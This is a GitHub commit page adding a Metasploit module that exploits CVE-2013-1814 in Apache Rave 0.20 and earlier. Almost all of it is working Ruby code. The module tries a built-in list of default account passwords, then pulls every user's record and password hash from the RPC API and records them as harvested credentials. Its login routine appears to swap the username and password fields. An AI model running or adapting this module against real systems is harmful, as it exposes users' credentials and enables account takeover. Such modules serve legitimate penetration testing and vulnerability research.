Skip to content

Commit 134063b

Browse files
committed
Land rapid7#2090 - Apache Rave Users Information Disclosure
2 parents 8d7396d + d3433a0 commit 134063b

File tree

1 file changed

+209
-0
lines changed

1 file changed

+209
-0
lines changed
Lines changed: 209 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,209 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Report
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Apache Rave Users Information Disclosure',
18+
'Description' => %q{
19+
This module exploits an information disclosure in Apache Rave 0.20 and prior. The
20+
vulnerability exists in the RPC API, which allows any authenticated user to
21+
disclose information about all the users, including their password hashes. In order
22+
to authenticate the user can provide his own credentials. Also the default ones
23+
installed with Apache Rave 0.20 will be tried automatically. This module has been
24+
successfully tested on Apache Rave 0.20.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'Andreas Guth', # Vulnerability discovery and PoC
30+
'juan vazquez' # Metasploit module
31+
],
32+
'References' =>
33+
[
34+
[ 'CVE', '2013-1814' ],
35+
[ 'OSVDB', '91235' ],
36+
[ 'BID', '58455' ],
37+
[ 'EDB', '24744']
38+
]
39+
))
40+
41+
register_options(
42+
[
43+
Opt::RPORT(8080),
44+
OptString.new('TARGETURI', [true, 'Path to Apache Rave Portal', '/portal']),
45+
OptString.new('USERNAME', [ false, 'Apache Rave Username' ]),
46+
OptString.new('PASSWORD', [ false, 'Apache Rave Password' ]),
47+
], self.class)
48+
end
49+
50+
def login(username, password)
51+
uri = normalize_uri(target_uri.to_s, "j_spring_security_check")
52+
53+
res = send_request_cgi({
54+
'uri' => uri,
55+
'method' => 'POST',
56+
'vars_post' => {
57+
'j_password' => username,
58+
'j_username' => password
59+
}
60+
})
61+
62+
if res and res.code == 302 and res.headers['Location'] !~ /authfail/ and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
63+
return $1
64+
else
65+
return nil
66+
end
67+
end
68+
69+
def disclose(cookie, offset)
70+
uri = normalize_uri(target_uri.to_s, "app", "api", "rpc", "users", "get")
71+
72+
res = send_request_cgi({
73+
'uri' => uri,
74+
'method' => 'GET',
75+
'vars_get' => {
76+
'offset' => "#{offset}"
77+
},
78+
'cookie' => "JSESSIONID=#{cookie}"
79+
})
80+
81+
if res and res.code == 200 and res.headers['Content-Type'] =~ /application\/json/ and res.body =~ /resultSet/
82+
return res.body
83+
else
84+
return nil
85+
end
86+
87+
end
88+
89+
def setup
90+
# Default accounts installed and enabled on Apache Rave 0.20
91+
@default_accounts = {
92+
"canonical" => "canonical",
93+
"john.doe" => "john.doe",
94+
"jane.doe" => "jane.doe",
95+
"johnldap" => "johnldap",
96+
"four.col" => "four.col",
97+
"fourwn.col" => "fourwn.col",
98+
"george.doe" => "george.doe",
99+
"maija.m" => "maija.m",
100+
"mario.rossi" => "mario.rossi",
101+
"one.col" => "one.col",
102+
"three.col" => "three.col",
103+
"threewn.col" => "threewn.col",
104+
"twown.col" => "twown.col"
105+
}
106+
end
107+
108+
def run
109+
110+
print_status("#{rhost}:#{rport} - Fingerprinting...")
111+
res = send_request_cgi({
112+
'uri' => normalize_uri(target_uri.to_s, "login"),
113+
'method' => 'GET',
114+
})
115+
116+
if not res
117+
print_error("#{rhost}:#{rport} - No response, aborting...")
118+
return
119+
elsif res.code == 200 and res.body =~ /<span>Apache Rave ([0-9\.]*)<\/span>/
120+
version =$1
121+
if version <= "0.20"
122+
print_good("#{rhost}:#{rport} - Apache Rave #{version} found. Vulnerable. Proceeding...")
123+
else
124+
print_error("#{rhost}:#{rport} - Apache Rave #{version} found. Not vulnerable. Aborting...")
125+
return
126+
end
127+
else
128+
print_warning("#{rhost}:#{rport} - Apache Rave Portal not found, trying to log-in anyway...")
129+
end
130+
131+
cookie = nil
132+
unless datastore["USERNAME"].empty? or datastore["PASSWORD"].empty?
133+
print_status("#{rhost}:#{rport} - Login with the provided credentials...")
134+
cookie = login(datastore["USERNAME"], datastore["PASSWORD"])
135+
if cookie.nil?
136+
print_error("#{rhost}:#{rport} - Login failed.")
137+
else
138+
print_good("#{rhost}:#{rport} - Login successful. Proceeding...")
139+
end
140+
end
141+
142+
if cookie.nil?
143+
print_status("#{rhost}:#{rport} - Login with default accounts...")
144+
@default_accounts.each { |user, password|
145+
print_status("#{rhost}:#{rport} - Login with the #{user} default account...")
146+
cookie = login(user, password)
147+
unless cookie.nil?
148+
print_good("#{rhost}:#{rport} - Login successful. Proceeding...")
149+
break
150+
end
151+
}
152+
end
153+
154+
if cookie.nil?
155+
print_error("#{rhost}:#{rport} - Login failed. Aborting...")
156+
return
157+
end
158+
159+
print_status("#{rhost}:#{rport} - Disclosing information...")
160+
offset = 0
161+
search = true
162+
163+
while search
164+
print_status("#{rhost}:#{rport} - Disclosing offset #{offset}...")
165+
users_data = disclose(cookie, offset)
166+
if users_data.nil?
167+
print_error("#{rhost}:#{rport} - Disclosure failed. Aborting...")
168+
return
169+
else
170+
print_good("#{rhost}:#{rport} - Disclosure successful")
171+
end
172+
173+
json_info = JSON.parse(users_data)
174+
175+
path = store_loot(
176+
'apache.rave.users',
177+
'application/json',
178+
rhost,
179+
users_data,
180+
nil,
181+
"Apache Rave Users Database Offset #{offset}"
182+
)
183+
print_status("#{rhost}:#{rport} - Information for offset #{offset} saved in: #{path}")
184+
185+
print_status("#{rhost}:#{rport} - Recovering Hashes...")
186+
json_info["result"]["resultSet"].each { |result|
187+
vprint_good("#{rhost}:#{rport} - Found cred: #{result["username"]}:#{result["password"]}")
188+
report_auth_info(
189+
:host => rhost,
190+
:port => rport,
191+
:sname => "Apache Rave",
192+
:user => result["username"],
193+
:pass => result["password"],
194+
:active => result["enabled"]
195+
)
196+
}
197+
198+
page = json_info["result"]["currentPage"]
199+
total_pages = json_info["result"]["numberOfPages"]
200+
offset = offset + json_info["result"]["pageSize"]
201+
if page == total_pages
202+
search = false
203+
end
204+
205+
end
206+
207+
end
208+
209+
end

0 commit comments

Comments
 (0)